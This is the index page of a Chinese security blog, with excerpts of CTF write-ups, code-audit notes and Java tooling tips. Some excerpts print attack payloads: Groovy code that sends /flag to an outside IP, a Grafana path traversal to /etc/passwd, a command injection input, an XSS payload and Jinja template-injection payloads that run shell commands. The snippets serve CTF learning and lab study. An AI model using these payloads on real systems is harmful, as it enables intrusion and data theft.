avatar
文章
26
标签
35
分类
8

首页
时间轴
标签
分类
友链
关于
Sk1y's Blog
搜索
首页
时间轴
标签
分类
友链
关于
Javassist动态编程
发表于2022-10-24|java安全|javassist
javassist介绍Javassist是一个开源的分析、编辑和创建Java字节码的类库,Java 字节码存储在称为类文件的二进制文件中。每个类文件包含一个 Java 类或接口。是由东京工业大学的数学和计算机科学系的 Shigeru Chiba (千叶 滋)所创建的。其主要的优点,在于简单,而且快速。直接使用java编码的形式,而不需要了解虚拟机指令,就能动态改变类的结构,或者动态生成类。 学习一下javassist主要的几个类 javassist几个重要的类下面关于类的资料基本是网上copy的 ClassPoolClassPool:一个基于哈希表(Hashtable)实现的CtClass对象容器,其中键名是类名称,值是表示该类的CtClass对象 常用方法 123456789101112ClassPool getDefault() 返回默认的类池。比如 ClassPool classPool = ClassPool.getDefault();ClassPath insertClassPath(String pathname) 在搜索路径的开头插入目录或jar(或zip)文件。 ...
ofcms1.1.4 内容管理系统代码审计
发表于2022-10-18|Java代码审计|ofcms•代码审计
环境配置环境配置保姆级教程 1https://blog.csdn.net/Alexz__/article/details/116229266 git加载项目 maven设置 然后maven重新加载项目 配置tomcat 注意url和application context是一致的 deployment 数据库配置 新建数据库,注意mysql驱动,我下载驱动失败,使用的是本地maven仓库的驱动 解决办法:(9条消息) IDEA连接Mysql失败:下载驱动失败,Failed todownload Cannot download Read timed out_疯狂的帆的博客-CSDN博客 导入数据库 选择之前创建的ofcms_database,run 查看数据库,可以看到初始化成功 启动,在localhost:8080/ofcms_admin 然后配置之后(数据库这里我删除了,然后又整了一遍) 经过一段时间的加载,估计两三分钟,显示如下 关于ofcms目录简析(9条消息) 从OFCMS出发,浅析JavaWeb项目技术结构及其功能_Alexz__的博 ...
2022bytectf
发表于2022-10-18|比赛wp|2022•bytectf
easy_groovy12String aa = new File("/flag").textdef res1 = new URL('http://116.62.240.148:7077?a=' + aa).text; easy_grafana8.2.6的版本对应有相应的漏洞 CVE-2021-43798:Grafana任意文件读取漏洞 - 腾讯云开发者社区-腾讯云 (tencent.com) Grafana 文件读取漏洞分析与汇总(CVE-2021-43798) - 斗象能力中心 (1条消息) Grafana任意文件读取漏洞(CVE-2021-43798)复现_xzhome的博客-CSDN博客_graphite漏洞 受影响的插件 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748/public/plugins/alertGroups/../../../../../../../../etc/passwd/publi ...
idea创建maven项目一直显示loading archetype list...解决方法
发表于2022-10-17|杂记|java•idea
在使用idea创建maven项目时,想使用现有的模板create from archetype,但是一直加载不出来,显示loading archetype list... 解决方法:对新建项目的设置进行修改 第一步 setting-->Build,Execution,Deployment-->Build Tools-->Maven-->importing 修改对应的JDK for importer 第二步 setting-->Build,Execution,Deployment-->Build Tools-->Maven-->Runner 修改对应的jre 注意修改之后保存!!! 然后再次新建maven项目的时候就会显现出来 参考链接:(9条消息) Idea loading archetype list…_彭珂个人网的博客-CSDN博客
java-sec-code-cmdinject-rce
发表于2022-10-12|java安全|java-sec-code•cmdinject•rce
java-sec-code[toc] 环境搭建大致参考:代码审计入门之java-sec-code(一) - FreeBuf网络安全行业门户 不同的地方,我使用的idea2021需要将src进行一下设置 然后按照4步进行设置 导入依赖花了一些时间 因为是在windows上运行,所以需要修改一部分代码 修改index.html 这个靶场包括java的很多漏洞 访问127.0.0.1:8080,账户密码 admin admin123 CmdInject命令注入 注意看url 1codeinject?filepath=.%26ipconfig 查看源码 关于ProcessBuilder(7条消息) 浅析ProcessBuilder_朱小厮的博客-CSDN博客_processbuilder ProcessBuilder类是J2SE 1.5在java.lang中新添加的一个新类,此类用于创建操作系统进程,它提供一种启动和管理进程(也就是应用程序)的方法 属性command ​ 是一个字符串列表,它表示要调用的外部程序文件及其参数(如果有)。在此,表示有效的操作系统命令的字符 ...
使用idea进行反编译
发表于2022-10-09|杂记|java•idea•反编译
使用idea进行反编译首先在idea中安装插件,这里我从marketplace中没找到,然后在installed中发现已经安装好了 找到java-decompiler.jar存放的路径 1D:\software\IntelliJ IDEA 2021.2.3\plugins\java-decompiler\lib\java-decompiler.jar 在需要反编译的jar包同目录下创建一个文件夹,用来存放反编译之后的文件 在改目录下打开cmd(默认的java是java8) 1java -cp "D:\software\IntelliJ IDEA 2021.2.3\plugins\java-decompiler\lib\java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true app.jar app 但是会报错 Error: A JNI error has occurred, please check your installa ...
2022羊城杯-Web
发表于2022-09-04|比赛wp|Web•2022•羊城杯
羊城杯[toc] 签到 E:\markdown\CTF\2022比赛\0903羊城杯>ciphey -t “ZMJTPM33ZEDJXZOMTOGQRZOETN4GPMOFZV4GPAGPZD2TRBYRZRMJXAOIZR2U2===”Possible plaintext: ‘flag{dae090f201091d2b916bd4b9da3e45a4}’ (y/N): y╭────────────────────────────────────────────────────────────╮│ The plaintext is a Capture The Flag (CTF) Flag ││ Formats used: ││ caesar: ││ Key: 13 ...
SHELLCTF2022复现
发表于2022-08-15|比赛wp|2022•SHELLCTF
SHELLCTF2022复现Choosy Single solution doesn’t works on all problems. One should try different solutions for different problem. Flag format:- shellctf{H3re_1s_tH3_F14g} http://20.125.142.38:8324 Alternate link http://20.193.247.209:8333/ 这个打开之后是这样的 功能是输入大写字母,返回小写字母,数字和字符不变。本来是想的是SSTI,但是怎么尝试也不行,看了wp才知道是xss 这个会解析html标签,但是会过滤script,可以使用img标签 onerror,在加载图片错误时执行javascript payload 1<img src=x onerror=alert(1)> Colour Cookie题目描述: Gone those days when no colours, images, fonts use to be on a w ...
DASCTF2022.07赋能赛复现
发表于2022-08-07|比赛wp|2022•DASCTF七月赛
DASCTF2022.07赋能赛复现[toc] Ez to getflag会检查上传的文件的内容,不能存在php,可以使用短标签绕过,但是不知道文件上传的存放路径。 本来以为是文件上传,但是没想到是任意文件读取!!! Harddiskfuzz,过滤了很多的关键词 其中大括号可以使用{%print(......)%}或{% if ... %}1{% endif %}的形式来代替,而print被过滤,所以用后者 根据过滤信息,[],点,class等关键词都被过滤,所以使用attr和unicode编码进行绕过 123{%if("".__class__)%}555{%endif%}{%if(""|attr("__class__"))%}555{%endif%}{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u00 ...
BDSecCTF2022-Web
发表于2022-07-22|比赛wp|2022•BDSecCTF
BDSecCTF2022-Web[toc] Jungle Templating模板注入 1{{7*7}} 自动化脚本 1{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")}}{% endif %}{% endfor %} 1{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warni ...
123
avatar
Sk1y
每一个不曾起舞的日子都是对生命的辜负
文章
26
标签
35
分类
8
Follow Me
公告
This is my Blog
最新文章
BUUCTF Reverse 11-322023-05-27
CodeQL学习笔记(一)2023-03-06
BUUCTF Reverse 1-102022-11-23
华为杯第一届中国研究生网络安全创新大赛实网对抗赛初赛2022-11-18
第五届强网拟态防御国际精英挑战赛2022-11-07
最新评论
正在加载中...
分类
  • CTF1
  • CodeQL1
  • Java代码审计1
  • Reverse2
  • java安全3
  • nodejs安全2
  • 杂记2
  • 比赛wp12
标签
2022 BDSecCTF BUUCTF CodeQL DASCTF七月赛 ImaginaryCTF JWT QLExpress SHELLCTF Web bytectf cc2 ciscn2022 cmdinject ejs fastjson idea java java-sec-code javassist nodejs nodemon ofcms rce readFileSync web 代码审计 原型链污染 反编译 密钥混淆攻击 强网拟态 祥云杯初赛 网站取证 羊城杯 蓝帽杯
归档
  • 五月 20231
  • 三月 20231
  • 十一月 20226
  • 十月 20228
  • 九月 20221
  • 八月 20222
  • 七月 20227
网站资讯
文章数目 :
26
已运行时间 :
本站总字数 :
34.8k
本站访客数 :
本站总访问量 :
最后更新时间 :
©2022 - 2023 By Sk1y
框架 Hexo|主题 Butterfly
搜索
数据库加载中